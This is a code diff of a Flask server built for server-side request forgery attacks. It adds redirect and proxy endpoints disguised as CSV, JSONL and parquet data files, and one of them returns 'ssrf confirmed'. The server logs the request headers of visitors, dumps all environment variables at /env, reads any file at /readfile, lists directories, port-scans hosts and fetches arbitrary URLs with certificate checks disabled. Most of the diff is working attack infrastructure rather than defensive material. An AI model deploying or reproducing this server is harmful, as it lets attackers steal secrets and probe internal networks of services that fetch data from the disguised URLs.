Add redirect endpoints with file extensions

app.py

@@ -4,223 +4,221 @@ import requests, os, socket, json, time
 app = Flask(__name__)
 LOG = []
 
-@app.route("/")
+@app.route('/')
 def index():
-    return "OK"
+    return 'OK'
 
-@app.route("/log", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
+@app.route('/log', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
 def log_request():
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "body": request.get_data(as_text=True)[:2000],
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'body': request.get_data(as_text=True)[:2000],
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
-    return "logged"
+    return 'logged'
 
-@app.route("/logs")
+@app.route('/logs')
 def show_logs():
     return jsonify(LOG[-200:])
 
-@app.route("/clear-logs")
+@app.route('/clear-logs')
 def clear_logs():
     LOG.clear()
-    return "cleared"
+    return 'cleared'
 
-@app.route("/fetch")
+@app.route('/fetch')
 def fetch():
-    url = request.args.get("url", "")
+    url = request.args.get('url', '')
     headers = {}
-    for h in request.args.get("headers", "").split(","):
-        if ":" in h:
-            k, v = h.split(":", 1)
-            headers[k] = v.replace("+", " ")
+    for h in request.args.get('headers', '').split(','):
+        if ':' in h:
+            k, v = h.split(':', 1)
+            headers[k] = v.replace('+', ' ')
     try:
         r = requests.get(url, headers=headers, timeout=5, verify=False)
-        return r.text, r.status_code, {"Content-Type": "text/plain"}
+        return r.text, r.status_code, {'Content-Type': 'text/plain'}
     except Exception as e:
         return str(e), 500
 
-@app.route("/redir")
+@app.route('/redir')
 def redir():
-    target = request.args.get("url", "/")
-    code = int(request.args.get("code", "302"))
+    target = request.args.get('url', '/')
+    code = int(request.args.get('code', '302'))
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
     return redirect(target, code=code)
 
 # Redirect endpoint that looks like a CSV file
-@app.route("/redir-data.csv")
+@app.route('/redir-data.csv')
 def redir_csv():
-    target = request.args.get("t", "/")
-    code = int(request.args.get("code", "302"))
+    target = request.args.get('t', '/')
+    code = int(request.args.get('code', '302'))
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
     return redirect(target, code=code)
 
 # Redirect that looks like a JSONL file
-@app.route("/redir-data.jsonl")
+@app.route('/redir-data.jsonl')
 def redir_jsonl():
-    target = request.args.get("t", "/")
-    code = int(request.args.get("code", "302"))
+    target = request.args.get('t', '/')
+    code = int(request.args.get('code', '302'))
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
     return redirect(target, code=code)
 
 # Redirect that looks like a parquet file
-@app.route("/redir-data.parquet")
+@app.route('/redir-data.parquet')
 def redir_parquet():
-    target = request.args.get("t", "/")
-    code = int(request.args.get("code", "302"))
+    target = request.args.get('t', '/')
+    code = int(request.args.get('code', '302'))
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
     return redirect(target, code=code)
 
 # Smart proxy CSV: fetches any URL and returns result as CSV
-@app.route("/proxy-csv.csv")
+@app.route('/proxy-csv.csv')
 def proxy_csv():
-    target = request.args.get("t", "")
+    target = request.args.get('t', '')
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
     if not target:
-        return "text
-no target specified
-", 200, {"Content-Type": "text/csv"}
+        return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
     try:
         r = requests.get(target, timeout=10, verify=False)
-        lines = r.text.split("\n")[:100]
-        csv_data = "text\n" + "\n".join(f""{line}"" for line in lines if line.strip()) + "\n"
-        return csv_data, 200, {"Content-Type": "text/csv"}
+        lines = r.text.split('\n')[:100]
+        csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
+        return csv_data, 200, {'Content-Type': 'text/csv'}
     except Exception as e:
-        return f"text\nerror: {str(e)}\n", 200, {"Content-Type": "text/csv"}
+        return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
 
 # Smart proxy JSONL
-@app.route("/proxy-jsonl.jsonl")
+@app.route('/proxy-jsonl.jsonl')
 def proxy_jsonl():
-    target = request.args.get("t", "")
+    target = request.args.get('t', '')
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
     if not target:
-        return "{"text": "no target"}\n", 200, {"Content-Type": "application/jsonl"}
+        return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
     try:
         r = requests.get(target, timeout=10, verify=False)
-        lines = r.text.split("\n")[:100]
-        jsonl_data = "\n".join(json.dumps({"text": line}) for line in lines if line.strip()) + "\n"
-        return jsonl_data, 200, {"Content-Type": "application/jsonl"}
+        lines = r.text.split('\n')[:100]
+        jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
+        return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
     except Exception as e:
-        return json.dumps({"text": f"error: {str(e)}"}) + "\n", 200, {"Content-Type": "application/jsonl"}
+        return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
 
-@app.route("/data.csv")
+@app.route('/data.csv')
 def serve_csv():
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "body": request.get_data(as_text=True)[:2000],
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'body': request.get_data(as_text=True)[:2000],
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
-    return "text\nhello world\nssrf confirmed\n", 200, {"Content-Type": "text/csv"}
+    return 'text\nhello world\nssrf confirmed\n', 200, {'Content-Type': 'text/csv'}
 
-@app.route("/data.jsonl")
+@app.route('/data.jsonl')
 def serve_jsonl():
     entry = {
-        "time": time.time(),
-        "method": request.method,
-        "path": request.full_path,
-        "headers": dict(request.headers),
-        "body": request.get_data(as_text=True)[:2000],
-        "remote_addr": request.remote_addr
+        'time': time.time(),
+        'method': request.method,
+        'path': request.full_path,
+        'headers': dict(request.headers),
+        'body': request.get_data(as_text=True)[:2000],
+        'remote_addr': request.remote_addr
     }
     LOG.append(entry)
-    return "{"text": "hello world"}\n{"text": "ssrf confirmed"}\n", 200, {"Content-Type": "application/jsonl"}
+    return '{"text": "hello world"}\n{"text": "ssrf confirmed"}\n', 200, {'Content-Type': 'application/jsonl'}
 
-@app.route("/env")
+@app.route('/env')
 def env():
     return jsonify(dict(os.environ))
 
-@app.route("/scan")
+@app.route('/scan')
 def scan():
-    host = request.args.get("host", "")
-    ports = request.args.get("ports", "80,443").split(",")
-    timeout = float(request.args.get("timeout", "1"))
+    host = request.args.get('host', '')
+    ports = request.args.get('ports', '80,443').split(',')
+    timeout = float(request.args.get('timeout', '1'))
     results = {}
     for p in ports:
         try:
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             s.settimeout(timeout)
             r = s.connect_ex((host, int(p)))
-            results[p] = "open" if r == 0 else "closed"
+            results[p] = 'open' if r == 0 else 'closed'
             s.close()
         except Exception as e:
             results[p] = str(e)
     return jsonify(results)
 
-@app.route("/resolve")
+@app.route('/resolve')
 def resolve():
-    host = request.args.get("host", "")
+    host = request.args.get('host', '')
     try:
-        return jsonify({"ip": socket.gethostbyname(host), "host": host})
+        return jsonify({'ip': socket.gethostbyname(host), 'host': host})
     except Exception as e:
-        return jsonify({"error": str(e)})
+        return jsonify({'error': str(e)})
 
-@app.route("/readfile")
+@app.route('/readfile')
 def readfile():
-    path = request.args.get("path", "")
+    path = request.args.get('path', '')
     try:
-        with open(path, "r") as f:
-            return f.read()[:10000], 200, {"Content-Type": "text/plain"}
+        with open(path, 'r') as f:
+            return f.read()[:10000], 200, {'Content-Type': 'text/plain'}
     except Exception as e:
         return str(e), 500
 
-@app.route("/listdir")
+@app.route('/listdir')
 def listdir():
-    path = request.args.get("path", "/")
+    path = request.args.get('path', '/')
     try:
         entries = os.listdir(path)
         return jsonify(entries)
     except Exception as e:
-        return jsonify({"error": str(e)})
+        return jsonify({'error': str(e)})
 
-if __name__ == "__main__":
-    app.run(host="0.0.0.0", port=7860)
+if __name__ == '__main__':
+    app.run(host='0.0.0.0', port=7860)